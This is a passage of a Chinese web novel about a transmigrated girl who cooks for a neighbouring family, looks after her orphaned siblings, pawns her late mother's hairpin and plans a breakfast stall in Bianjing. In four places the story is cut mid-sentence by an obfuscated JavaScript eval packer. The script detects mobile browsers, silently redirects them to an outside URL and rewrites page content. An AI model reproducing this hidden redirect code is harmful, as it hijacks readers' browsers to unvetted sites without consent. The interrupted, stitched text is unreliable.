这么想着，王二郎心情也明朗了，只见他屁股挪动了下，调整成一个舒服的姿势，用拿着筷子抹了一把眼泪鼻涕，这才继续开心的继续吃了起来。 他开心，王父和王大郎就不开心了，王大郎看着仅剩不多的肉，嘴角抽了抽，为了能娶上媳妇儿家中已经许久未曾开过荤了，在看到那碗肉的时候，他原本以为今天能敞开了吃，结果被他弟一下就夹空了，如今只剩下大概四块肉和一大碗梅干菜，他看着肉咽了咽口水，夹了一块给王父道， “爹，你辛苦了，你吃。” 王父见大儿子如此孝顺，总算没那么生气了，也伸筷子给王大郎夹了一块，“你也累了一天了，吃，等他回来看我不好好教训他一顿。” 王大郎顿时露出懂事的表情，“二弟不懂事，爹别跟他一般计较。” “还是你最懂事。” “都是爹教得好。” 两人你一言我一语，尽显一派父慈子孝之相，仿佛彻底将一旁的兰氏遗忘了，直到又过了一会儿，王大郎才终于发现了一旁的兰氏似的，开口道，“娘，你也吃肉。” 兰氏心下一暖，觉得还是只有儿子好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371414|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，知道心疼她。 “没剩几块了，娘就不吃了，大郎你吃。” 王大郎早就猜到了他娘会说什么，眼中闪过一丝不易察觉的得逞，嘴上还想再说两句，王父却开口了。 “也是，你一天到晚在家里也没干什么，吃那么多肉干嘛，我跟儿子倒是辛苦了一天。” 兰氏虽然平日里早已经听习惯了丈夫的这些话，但是陡然听到还是会有些不舒服，好在王大郎出言道， “娘在家也辛苦的。” 听到这话的兰氏眼睛泛起泪花，心如同酷暑天吃了一碗冒着寒气的冰饮子，别提多舒服了。 还是儿子知道心疼娘。 王父闻言撇撇嘴，到底没说什么，将碗中的那块肉放进嘴里。 咦？这梅菜扣肉的味道… 筷子上还剩半块肉，王父有些微怔，这个味道，还挺好吃的，梅菜的香味完美融合进了肉中，以及让人难以抗拒的口感，入口即化，王父只觉得一整天的劳累都在此刻间消散，只剩下面前的半块肉，散发着难以言喻的香气，是的，就是香气。 他刚才怎么就没闻到呢？这梅菜扣肉这么香，又或许是因为太生气了，所以导致他没有闻到这梅菜扣肉的香味。 王大郎这边见王父愣住，还以为这肉不好吃呢，他刚想开口说不好吃就算了，没想到王父却当着他的面快速将剩下的半块肉也放进嘴里，接着又去那碗中夹了一大块肉。 那模样一点也不像是觉得不好吃的样子，王大郎太了解他爹了，于是他也就放心的咬了一口，然而咬这一口不要紧，他当即就明白了这梅菜扣肉到底是有多好吃，一向斯文的他也顾不得面子了，三下五除二就把嘴里的咽下去了，然后赶紧去夹最后的一块肉。 不过按照以往惯例他少不得要推脱两次让兰氏尝尝，这次也不例外，“娘，你吃。” 他依旧像从前那样将肉夹给兰氏，按照从前接下来兰氏就会说不吃再夹给他吃，然后他“不情不愿”就自己吃了。 可谁知道这次事情并没有按照他设想的来，兰氏在接过肉后，一脸感动道，“好，娘吃。” ？ 王大郎懵了，不是应该再夹给他吗？怎么他娘就这么接受了？ 不应该啊？王大郎脸色瞬间不好看了。 而兰氏这边却没注意到，其实她也不知道自己为何就接下了这块肉，或许是因为在看到陶乐真制作的全过程后，有些忍不住，又或许是太久没吃肉了有些馋，总之她这次并没有像以往似的再还给王大郎。 王大郎，“娘？” 兰氏，“嗯？怎么了大郎？” 王大郎脸色有些不虞，勉强笑了下，“没什么，你快吃吧，凉了就不好吃了。” “好。”兰氏再一次感动了，还是儿子好，她没白生… 这么想着兰氏将肉也放进了嘴里，果然，跟她想的滋味一摸一样，好吃极了，入口即化，比她从前以往吃过的肉都要好吃！！！ 6. 熊孩子 兰氏心中刚刚的憋闷也在此时都随着美食消失了，她所有的注意力全部被拉回到这一块梅菜扣肉上，吃到最后她竟有些舍不得咽下去。 一块肉实在太少了，还没尝出什么味儿呢。 不过好在肉下面还有许多浸满肉汁梅干菜，配上香喷喷的白米饭，肯定好吃。 兰氏这么想着，将筷子伸向那碗梅干菜，与此同时，王大郎和王父也在这时发现了还有那么多梅干菜，想起刚刚的滋味，两人不约而同伸出筷子。 别说，虽然梅干菜没有肉好吃，但是因为裹满肉的香味，那滋味也是比普通的菜好的，尤其是特别的下饭，三人吃到最后，甚至连里面的汤汁都倒进了碗里，拌着一大盆米饭，全部吃了个干净。 嗝，可真好吃啊… 吃饱喝足，王父也不得不承认这道梅菜扣肉味道是真好，至少他活这么大，记忆中这样好吃的菜也记不起几个，不过王父这人吧，最好面子，让他亲自推翻自己刚才说的话，那也是不太可能的。 “还行吧，味道一般般。”王父随意开口点评道。 “盐太少了，应该多放些盐才好吃。” 王父在码头上吃的菜都是重油重盐的，在他看来只有重盐重油的菜才是最好的菜，这道梅菜扣肉好吃是好吃，就是味道太淡了。 王父越说越觉得自己说得有道理，说到后面连他自己都信了。 兰氏闻言小声道，“我觉得挺好吃的啊。” 王大郎虽然认同他娘这话，但是认同归认同，嘴上说出口的又是另一番话， “好像盐确实放少了。” 王父高兴了，“那当然，你爹我活这么大，什么好东西没吃过，这算什么。” 王大郎，“爹说的是。” 王父这下彻底满意了。 只有兰氏心中有些不服气，明明这么好吃的菜，为什么丈夫和儿子都说不好吃呢，不过她在家里向来没有什么说话的权利，最后张了张嘴也没说什么。 另一边，陶乐真回到昌平坊的时候天色已经有些暗沉了，刚入春，除了白日气温高些，早晚都有些凉。 陶乐真裹了裹身上单薄的衣裳，加快脚步往陶家走去。 谁知，刚走到陶家门口就看见一群小孩围在那里大喊大叫， “快看，陶三妹捡我吐在地上的糖吃哈哈哈哈…” “羞羞羞，捡东西吃…” “我娘说了只有叫花子才会捡别人吃的东西。” “哈哈哈陶二郎和陶三妹是叫花子。” 陶二郎弱弱的声音这时传出来：“我们不是叫花子…” … 陶乐真再也听不下去，快步上前，“你们在干嘛？” 那群小孩似乎没想到有人会来，吓了一跳，在看清楚是陶乐真的时候，纷纷作鸟兽状散开， “快跑呀，陶大妹回来了…” “老大咱们跑什么，怕她不成。” 被叫做老大的小男孩听到这话果然停下脚步，是啊，陶大妹比他还瘦，他怕什么，这下倒是让他的小弟瞧不起他了，这么想着，他故作镇定道， “算了，今天咱们先回去吃饭，后面再来。” “好！” “好的，老大！” …… 陶乐真看着那群小孩离开的方向，有些生气，怎么哪个时代都有这么多熊孩子，正当她想看清楚是谁家的孩子时，找对方家长理论理论，身后突然传来陶二郎的声音，原来竟然是陶二郎在掰陶三妹的手， “三妹，你松手。” 陶二郎脸色涨红，掰半天都没掰开小人儿的拳头，直到陶乐真过来。 陶二郎仿佛一个做错的孩子，一身狼狈，神色无措的站起身看着陶乐真。 “阿姐。” 明明阿姐说了不让他开门，他却开了，阿姐肯定会生气的。 “二郎，怎么回事？” 果然…阿姐生气了，陶二郎头低得更低了，小声的将刚才的事情全部说了一遍。 原来刚刚陶乐真走后没多久，陶二郎就一直带着陶三妹在家里院子看蚂蚁搬家，后来他看天有些黑了，就想开门看看陶乐真回来没有，谁知一开门就遇见了坊里最淘气捣蛋的小二黑几人。 他们一见陶二郎就故意跑过来，还将嘴里的糖吐地上让陶二郎和陶三妹捡，陶二郎虽然也好久没吃过糖了，可是也知道别人吐的东西不能吃，但是陶三妹年纪小，直接去把糖捡起来了握在手里，于是就有了刚才的那一幕。 “对不起，阿姐…”陶二郎有些羞愧，是他没有管好三妹。 陶乐真并非是生弟弟的气，闻言平息了一下怒火，伸手摸了摸陶二郎的脑袋，这怎么能怪他呢。 “二郎已经做得够好了。” 说完，陶乐真又蹲下身去看陶三妹，温柔道，“三妹，乖，阿姐回来了。” 陶三妹这才抬起头，她的小脸沾满了泥巴，像只脏脏的小花猫，看见陶乐真后，那双大大的眼睛亮了亮，摊开小手，开心道，“阿姐，吃糖。” 原来她捡那糖并非是自己想吃，而是想给陶乐真吃。 陶乐真不知为何，看着这一幕，鼻尖有些酸涩，她看着面前的小女孩，蹲下身子，将她手中的糖接过来， “乖，三妹，咱们不吃别人扔的，这个脏脏，阿姐带了好吃的肉肉回来，咱们回家吃好吗？” 说完陶乐真将小女孩手中的那块沾满泥土的糖扔到一边。 陶三妹见状还想去捡，不过陶乐真却快一步将她抱起来，进了院子。 进院子后，她先带着陶三妹和陶二郎去洗了手，这才拿出一直放在怀里的吃食，她打开那包油纸，露出里面还带着温热的梅菜扣肉，陶二郎和陶三妹都愣住了。 “阿姐，是肉！” “是肉肉！” 陶乐真点头，“对，这是肉肉，阿姐特意给你们带回来的。” 陶二郎有些不敢相信，以为是在做梦，他上次吃到肉还是一年前，连味道是什么都忘了，只知道很好吃，是世界上最好吃的东西。 陶三妹就别说了，她年纪还小，更是记不得肉是什么味道，但是尽管如此她也知道肉肉是好吃的。 陶乐真见两个小家伙惊呼，心中颇有些成就感，然后又从怀中掏出四个鸡蛋，果然，鸡蛋一拿出来，又引来两个小家伙惊讶的声音。 陶乐真特意将鸡蛋递给陶二郎和陶三妹，让两人放在以前放鸡蛋的陶罐子里，两人见状可开心了，一人两个，小心翼翼捧过鸡蛋，一步一挪的将鸡蛋放进了罐子里。 “放进去了！” “阿姐，我们放进去了！” 陶乐真见状，露出一抹真心的笑容，“好，阿姐看到了，二郎三妹真厉害。” 被夸的两个小家伙也露出开心的笑容，然后陶乐真一人往两人嘴里各自放了半块肉，两人睁着圆溜溜的眼睛，像两只被投喂的可爱的小松鼠。 真可爱，感觉心情都变好了。 陶乐真喂了两个人一人半块肉后便拿来柴火开始烧火，如今天越来越黑了，空气里都是坊里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371415|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人家里飘来的饭菜香，陶乐真闻着也感觉饿了。 她拿来三个红薯，将今晚上的红薯放进灶里，顺便再在锅里舀了几瓢水，这水待会儿可以用来洗脸或者擦身体。 其实陶乐真更想洗澡，但是如今家里的柴火也不多了，用完了还得花银子买，虽然她有很大把握能后挣到银子，但是银子还没挣到的时候，心里也会有些忐忑。 真穷啊，陶乐真不由得感慨道。 她还是第一次感受到什么叫穷，什么叫一文钱难倒英雄汉，要知道她前世因为家里开饭店，从小到大都没缺过钱，虽然生病后她花了许多钱，可就算如此，也没有缺衣少食过，想吃什么都能买到，住的也是单人病房，每天都有专门的人来收拾打扫房间，哪里过过这种苦日子，没想到穿越后竟然过上了这种日子，若是说给闺蜜听，她都不会相信。 唯一庆幸的是，她如今身体好，不用再经历病痛的折磨了，吃嘛嘛香，吃啥啥棒，年纪还小了十岁，也算是一种安慰。 陶乐真从穿越过来后几乎每天醒来都在这样自我安慰，自我洗脑中，最后再自己把自己哄好，反反复复不知道多少次了。 这次同样，她在心里安慰好自己后，塞了一根比较粗的树干进灶里面，接着起身，将今天从王家带回来的青菜苗拿到院子里，又进屋子把锄头拿出来，开始种菜苗。 种菜挑上午最好，傍晚也行，陶乐真从前家里也有块菜地，是她爷爷种的，老头没事儿就爱种些菜，说自己家种的菜最好吃，陶乐真小时候没吃出什么区别，长大了发现，原来菜与菜的滋味也有天壤之别，用化肥种出来的怎么也比不过有机肥种的菜，大棚里不分季节的菜蔬怎么也比不过应时应季的菜。 手中的青菜应该是白菜的一种，这里的人叫菘菜，种得好大概一个多月就能吃，陶乐真一想到自己很快就能吃上自己种的菜，就更有动力了，没一会儿就把所有菜都种好浇了水。 不大不小的菜地，此时终于有了一小片绿色，看着就充满生机，陶乐真见了十分满意。 陶二郎和陶三妹也好奇的凑上来，像两个好奇宝宝，“阿姐，这是什么？” “这个是菘菜。” “菘菜是什么菜？” 就这样噼里啪啦一连串问了陶乐真许多问题，直到听见下个月就能吃，两个小人儿更是将那二十来棵菘菜当作宝贝一样看待，恨不得时时盯着它们，看着它们长大。 “好了，二郎三妹，咱们先去洗手吃饭吧。” 天色彻底暗下来，陶乐真借着灶里的火光对院子里还在看菜苗的两人道。 两个小孩这才哒哒的跑进来，一边跑一边分享他们看见的东西。 陶二郎，“阿姐，我刚刚看见菜苗长高了。” 陶三妹，“我也看见了。” 陶乐真闻言故意装作很惊讶，“二郎和三妹这么厉害？” 两小孩果然开心了，陶二郎甚至还有些害羞，小脸蛋都红了。 陶乐真没继续逗两人，将三个红薯从灶里刨出来。 这三个红薯是所有红薯里个头比较大的，一个人吃一个肯定能吃饱，陶乐真控制火候和时间也刚刚好，所有的红薯烤出来一点都没糊，扒开皮都沁出蜜来，轻轻咬一口，又烫又甜，热气顺着嘴里冒出来，整个身体都暖和起来。 三人一口红薯一小块梅菜扣肉，吃得可开心了。 陶乐真也吃了一块肉，当她咬到肉的那一刹那，差点哭出来，天啊，这肉也太好吃了，怎么世界上会有这么好吃的肉呢！！！ 7. 簪子的下落 陶乐真感觉麻痹许久的味蕾都在吃了这块梅菜扣肉后活了过来，软糯香甜的红薯，肥而不腻的梅菜扣肉，简直绝了。 不止是陶乐真，陶二郎和陶三妹也是吃得一脸的陶醉，尤其是陶三妹，吃完了红薯嘴周围都是黑黑的，这下真成小花猫了。 陶二郎也差不多，脸上一块白一块儿黑。 “你看你们都吃成小花猫了。”陶乐真看着两人，笑道。 结果最后她洗脸的时候发现自己嘴上也有，亏她还笑两个孩子，真的是年纪变小了，心态也变幼稚了。 吃完饭，洗漱好，三人这才进屋子睡觉，睡觉之前陶乐真将门窗都检查一遍，确认都锁了才睡，坊里鱼龙混杂，什么人都有，不得不谨慎一些。 最后钻进薄薄的被子里，陶乐真又给旁边睡着的两个孩子盖好被子，这才躺回原位。 是的，三人睡在一张床上，因为陶家如今只有一床棉被，如果分开睡这个天气肯定会冻出病来的，所以陶父死后三姐弟就睡在一张床上。 说实话睡一起听不舒服的，床是竹床，特别小一张，睡一个人刚刚好，睡三个人就有些拥挤了，不过好在三人比较瘦弱，勉强能睡下。 陶乐真翻了几个身，大概是今晚上吃到了肉，肚子里有食物，所以今晚上格外的舒服，好睡，一觉睡到快天亮陶乐真才醒。 听着旁边邻人养的公鸡打鸣的声音，陶乐真打了个哈欠，起了床。 两个小孩儿还在睡觉，陶乐真又替他们盖了盖被子，结果就在这时却听见陶二郎在说梦话，嘴里一直叫娘，眼角还有眼泪。 那可怜的样子，让陶乐真莫名有些触动，记忆中春氏最是温柔，对几个孩子和陌生人都是极好的，可是这样好的人，却没有一个善终。 记忆中，春氏死的时候整整呻吟了一个晚上，那个晚上也是原身陶大妹最难忘的一个晚上，倒不是害怕，而是痛苦，那种看着自己亲人死在自己面前，却无能为力的痛苦情绪深深的烙印在了原身的脑海中，以至于陶乐真一想起也会觉得十分难受。 陶乐真只能在心中暗自默念自己会好好照顾原身的弟弟妹妹，这种痛苦才慢慢消失不见。 她掖好最后一侧的被角，走出门，外边的街道上此时已经非常热闹，昌平坊住了上百户人家，几乎整个汴京最穷的人都住这边，穷人的生活向来都是忙碌的，每天清晨都能听到许多人推着架子车和驾着骡车，抑或着是赶着猪牛羊马的吆喝声。 陶乐真已经习惯了这份热闹，去院子里打来水，开始烧火煮早饭，今天的早饭是昨天的鸡蛋，取出三个，还剩一个，原本她想一起煮来吃了的，但是考虑到如今家中的情况，她还是忍住了。 煮好鸡蛋，陶乐真三下五除二就把其吃完了。 陶父当初一共接了五家席面，有两家已经做了，还剩三家，昨天王家是一家，其余的还有两家，分别是衙役李家和西市杀鱼的孙家。 陶乐真想得很美好，如果到时候把这三家的席面都接下来，不说挣多少银子，至少一场席面下来，蔬菜肉菜之类的少不了，到时候好歹能支撑一段时间。 然而没想到，那李衙役家的娘子话都没听完就打断了陶乐真的话，还说什么看她们姐弟可怜，那银子就算了，接着便借口要外出把陶乐真打发走了。 那卖鱼的孙家更是听都没听，直接让她别挡着他们杀鱼，仿佛只当她是一个小孩儿在说玩笑话一样。 不过还是有一个好处就是，两家人似乎都觉得陶乐真三姐弟还不起那银子，都没有说要陶乐真还银子什么的。 只是陶乐真还是有些说不出的低落，毕竟从前都是那些人求着盼着吃她做的饭菜，没想到如今她主动上门推销自己还被万般嫌弃，这其中落差可想而知到底有多大。 好在，兰氏下午的时候托人递来好消息，决定让她做喜宴。 这个消息如同一场及时雨，瞬间鼓舞了陶乐真。 只是王家那喜宴定在半个月后，这半个月陶乐真得想办法挣银子才行，陶乐真这时又想起了去摆摊卖吃食的事情。 若是这时候手上有银子就好了，那样就能买些东西回来做点吃食去卖。 但是陶乐真想了半天，最后还是没有想到哪里能够搞到钱，别人都有亲戚朋友可以借银子，可陶父是孤儿，无父无母，唯一有一个教他厨艺的师傅，也早几年回乡养老去了，倒是有三个新收不久的徒弟，可是三个徒弟家中也是穷得不行，一屁股债，哪里借得出银子。 至于陶母，身世更是凄惨，虽然有爹娘兄弟，可是早年被拐卖到汴京，卖给绣庄，后来虽然赎身后，找到了爹娘，但爹娘早就死了，只有两个哥哥还活着，可两个哥哥也穷，在几百里外的山里，一个靠种地为生，一个靠打猎为生，生活亦是十分艰难。 等陶父陶母去世的消息传过去后，也不知道收到消息后他们会怎样，虽然有血缘关系，但是几家人正儿八经来往次数却少得可怜。 从前陶父是厨子，有手艺，人家愿意跟你做亲戚，如今陶父陶母都死了，说不得不乐意管这几个孤儿也是有的，不然也不会快一个多月了，都还没来汴京。 陶乐真将脑海中的人都想了一圈，最终选择放弃。 哎，若是陶母的银簪能找到就好了。 正当陶乐真这么想的时候，突然看到陶三妹正拿着一根什么东西在门槛上撬石头。 ？？？ 那东西… 怎么这么像她找了半天的银簪？ 陶乐真走近一看，没错，确实是她想要找的银簪！ 陶乐真当即心中惊喜不已，“三妹，你这是从哪里来的？” 她走过去蹲下，怕自己动作太大，吓到三妹，陶乐真强行压抑住激动的情绪。 而陶三妹在听到陶乐真的话，脸上露出迷茫的神情，半天似乎才想明白，伸出小手指了指屋子里的床底下。 竟然是床底下吗？陶乐真还真没找过。 不过不管怎样，如今银簪子找到了，终于可以做吃食去卖了。 想到这里，陶乐真不顾如今已经快黑的天色，交代好陶二郎和陶三妹乖乖在家等着后，拿着银簪就匆匆出了门。 顺着记忆中的当铺的地址，陶乐真走了大约半个时辰才到内城。 这是陶乐真第一次进汴京城最热闹的地方，看着人潮涌动，灯火通明的汴京，陶乐真内心十分震撼。 虽然从原身的记忆中得知这个时代是以往历史上最发达的时期，但是之前对此她是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371416|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么真切的感受的，直到此时，来到人头攒动的大街上她才有了最真实的感受。 自从周高祖登基后就废除了宵禁，如今可以说汴京的夜生活格外的丰富和热闹，少男少女们几乎将瓦子的街都踩烂了。 陶乐真不得不大声叫着“让一让”，才能从某些狭窄的巷子经过。 最后从一条街的街头走到结尾，陶乐真终于到了目的地，荣德当铺。 说起来陶乐真之所以会选择这间当铺，是因为从前陶父就经常来这里典当东西，起初是一些首饰，后面是衣裳棉被，这家当铺老板心善，给的价格也公道，知道陶父是为了给娘子凑集药钱，每次都没有压过价。 陶乐真到时候，掌柜的正扒拉着一个算盘，一副苦恼的模样。 “吴伯伯。” “哎，哎？是你呀陶家的？” “是我，吴伯伯安好。” “好，好，许久未见你了，可是你娘的病好了？”吴掌柜放下手中算盘，笑着说，他长得矮胖，笑起来一脸福相。 “阿爹阿娘年前去世了。”陶乐真顿了顿，开口道。 吴掌柜啊了一声，显然很惊讶，眼中流露出惋惜的神色，在听完陶乐真接下来的话半天后长叹一声，“唉…” 其实吴掌柜跟陶父并没有多熟，陶父与其他来铺子里的其他客人一样，并没有太多特别的地方，不过是多见过几次，但是他还是忍不住有些难受，一个活生生的人，明明上一秒还在面前，下一秒就听说再也不会出现了，永远的消失了，任谁都不能做到无动于衷。 但他很快想到最难受的要数面前的少女，于是开口安慰道，“丫头节哀。” 陶乐真闻言道了声谢，接着将今天的来意说了。 “这是我阿娘留下的簪子，想让吴伯伯看看能当多少银子。” 吴有财见状也不再说什么，接过簪子仔细打量起来。 是根最普通不过的银簪子，七八成新，款式也是许多年前的老款式，如今汴京城都不流行这种款了。 唯一的优点就是重量还行。 若是按照以往，吴有财是不会给太高价的，毕竟这种簪子实在太常见了，卖也不好卖出去，只能拿去融了重新打其它东西，费时费力还挣不到几个钱。 不过今日不同往时，吴有财略思忖片刻，才开口道，“2两银子。” 这个价他是一文钱都没挣的了，说不得还要亏。 陶乐真知道对方没必要骗自己，所以也就没讨价还价，当即便答应了，只是她到底还是有些犹豫，这是原身娘唯一留下来的念想了，她就这样当了，日后原身弟妹长大了，那真是一点怀念的东西都没了。 她犹豫半天，最后免不得厚起脸皮开口道，“吴伯伯，可以拜托你一件事吗，这根簪子可以帮我留一个月吗？等我挣了银子就来赎回去。” 接着陶乐真又补了一句，“如果不行的话也没事。”毕竟如果一根簪子能救自己的儿女，相信陶父陶母在天上也会原谅她的。 吴有财听到这话倒是没有太诧异，几乎来这里典当物件的人都会让他帮忙多留段日子，只是后来再来赎回去的人却寥寥无几，他也只当是耳旁风一般，听了就听了从不当真，更何况少女这是死当。 8. 馒头 死当的意思自然不必多说，只要签下字据那一刻，这东西就再也与原主人无关，只有活当，当铺才会多留一段时间，但是超过时间也归当铺处置。 吴有财想了下，到底还是看在面前的少女可怜，开口道，“行，你既然叫我一声伯伯，那伯伯便替你留一个月，一个月后你若是有了银子，来赎回去便是，我也不收你的其它银子了，不过若是一个月后没有来，那我可要将这簪子拿去处理的。” 同情归同情，生意归生意，吴有财能把当铺从他亲爹手上接过来，并且延续这么多年，自然是因为他并不是真的烂好人，而是他懂得与人为善，在不过分的情况下，他也愿意帮一帮别人，为自己家人积德。 而陶乐真这边，作为看过许多古装剧的她自然知道自己刚刚的请求有多不合理，可是没想到对方竟然同意了，陶乐真有些惊讶的同时自然是高兴极了，当即便道，“多谢吴伯伯。” 心中也暗自下定决心一定要多挣些银子，下个月来将簪子赎回去。 吴有财摆摆手，表示没什么，随后开口问道，“你刚才说你想去卖吃食挣钱，不知你可找到合适的地方没有？” 陶乐真，“还没有。” 吴有财替她指了条明路，“你若是想卖吃食的话不妨去附近的国子监门口卖，那边倒是个好去处。” 国子监？陶乐真愣了下才反应过来是这个时代的最高学府，那确实是卖吃食的好地方。 “多谢吴伯伯。”陶乐真不是个不知道感恩的人，当即便道谢道。 吴有财笑了下，没有再说什么，他不过是随口说了两句，至于真的做不做得成，能不能做好还是要看当事人本人。 不过他看人还是挺准的，面前的少女说话有条有理，逻辑谈吐都大方得体，日后说不得有一番出息也不一定。 可能有人会说仅凭这些如何能判断出来，那不是个人都差不多吗，但是吴有财做生意见过太多人了，还真不是这样，有太多人连句话都说不清楚，要讲半天对方才能听懂他的意思，更别提大大方方这种气质，几乎可以断定日后不会太差。 这么想着，吴有财又对着后院道，“来福，来福。” “掌柜的你叫我？”一个十一二岁，穿着棉袄子的小厮走出来。 “你带去隔壁买些馒头素包，给这个小娘子带回去。” “好嘞。” “我这就去。” 说完，来福快步跑了出去。 陶乐真见状哪里好意思，有心阻止，刚要开口，就被吴有财打断了，“你既然叫我一声伯伯，那便别再说了。” 陶乐真知道对方是一片好心，或许是同情她成了孤女，又或许是怎样，于是只好作罢，没再说什么，只是心里想着日后一定要好好感谢对方才是。 那边，来福很快就买了一包袱馒头和素包回来，他将东西全部一把塞给了陶乐真就又回了后面院子。 陶乐真拿着一包袱馒头和素包再次感谢了一遍吴掌柜，这才离去。 出了当铺，她并没有马上回去，而是去了吴有财口中的国子监门口那条街看看，这条街叫东贤街，道路两旁都摆满了小摊小贩，此时天黑都挂着灯笼，虽然没有西市热闹，但是也算是比较繁华了，还能看到国子监时不时走出几个穿着学子服的书生学子。 陶乐真沿着街道逛了下，最后决定就来这里卖吃食，至于卖什么，陶乐真也想好了，就卖早食，煎饼果子。 之所以决定卖早食陶乐真也是有所考量的，首先是人流量来说，早上上学的人多，晚上人肯定少许多，还有便是能上国子监的人，家中必定在这个时代是有银子的，晚上下学后指定会呼朋唤友的去喝酒吃饭，自然就没多少人买门口的吃食。 其次便是晚上卖吃食，她一个女孩子，还是有些不太安全，放弟妹在家里她也不放心。 当然，最重要的是，她如今身上就二两银子，能卖的吃食很少，这个吃食还必须成本低，做起来不费劲才行，不然她这小胳膊小腿的，没挣到银子就累死了。 而早食里，煎饼果子就很合适，受众广，做起来方便，又不需要发面揉面什么的，只需要把面糊调好，然后再刷酱放些菜就行，唯一有个问题就是煎饼果子需要有一口平底锅才行，但这个问题对陶乐真来说不是问题，因为陶家刚好有一口烂了的铁锅，直接拿去铁匠铺改一下就行了。 这么想着，陶乐真恨不得马上回家去把那口铁锅送去铁匠铺子。 但是只是想了下就打住了，毕竟此时天色已经晚了，就算再着急也得等明日再说了。 不过现在倒是有更重要的东西要买，那就是去买米和面粉以及做酱的调料，面粉自然是用来做煎饼果子的，米则是买来吃的。 陶家三姐弟已经快一个多月没吃过一粒米饭了，每天都是烤红薯蒸红薯煮红薯，有时候生啃红薯，陶乐真这两天也有些吃腻了，闻到红薯味道都有些想吐，再吃下去，估计得成重度营养不良了，还是米饭好吃，她爱吃米饭。 总之，有了银子的陶乐真第一件事就是去买米回去吃。 苏记米铺里，陶乐真站在门口看着摆在门口白生生的大米道，“小二，请问下这米多少钱一升。” “小娘子，精米是13文一升。”小二在旁边扒拉米里面的稻谷，听到抬头答道，倒是没有因为陶乐真穿着窘迫就区别对待。 “那面粉呢？” “25文一升。” “能便宜些吗？” 小二，“小娘子若是要得多自然是能便宜些的。” 陶乐真报出一个数。 “可以便宜一文钱。” “那若是再多些呢？” “那就得请示掌柜了。”小二只是给人做工的，说的话都是掌柜的教的。 “可要替小娘子把掌柜的叫来？” 能叫来掌柜的自然好，陶乐真，“那多谢小二哥了。” “没事。” 小二说完就去叫掌柜的了。 等掌柜的来了，陶乐真又是一顿杀价完，最后以10文每升买了两斗米，一共240文，又以23每升买了20升面粉，这里花了460文，加起来就是700文，将近一两银子。陶乐真付银子的时候不由得有些肉疼，这还没做什么呢，就花了快一半了，汴京的物价也太贵了吧。 “好嘞，一共找补您一两三钱，小娘子你数数。”接过陶乐真二两银子的掌柜先是称了一下重量，接着又那专门剪银子的剪子剪下来一两三钱递给陶乐真。 陶乐真接过银子，让米铺的人送到陶家后才离开。 在汴京城附近住有一个好处，就是不管买什么都可以送货到家，这倒是省了陶乐真许多麻烦事。 她买完米接着又去药材铺子买了一些平时用的调料，例如大料之类的，现在都是当药在卖，陶乐真不敢买多了，一样买了一点，买完后她又去买了辣椒之类的，这里又是花了差不多500文，陶乐真看着手里轻飘飘的一个小纸包，心里暗叹，这也太贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371417|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了… 如今手上只剩下800文了，还要再去做一个木架子车，也不知道够不够。 她不敢再买，赶紧收手回家。 不过在回家路上碰上卖糖葫芦时，想到在家里的弟弟妹妹，陶乐真最后还是没忍住买了一串，打算回去给两个小孩吃，两人肯定开心。 又少了两文，只剩798文。 陶乐真揣好银子，这才加快脚步回家。 陶家， “二郎，三妹我回来了。” “阿姐～” “阿姐回来了～” 两小只听到陶乐真的声音从屋子里跑了出来，他们今天这次听话的呆在家里，没有出门，身上都干干净净的。 陶乐真，“看我给你们带什么回来了。” 两小只来到面前停下脚步，看向陶乐真的手，“哇，这是什么？” “是糖葫芦。” 两小只疑惑，“糖葫芦是什么？” 陶乐真这才想起来，两人自出生以来基本上没有出去玩过，也自然没有像其他小朋友一样见过糖葫芦，对于他们来说这是完全陌生的东西。 陶乐真一瞬间感觉自己像是来到了偏远的乡村，她变成了支教老师，而陶二郎和陶三妹则是家庭贫困从来没有走出过大山的孩子。 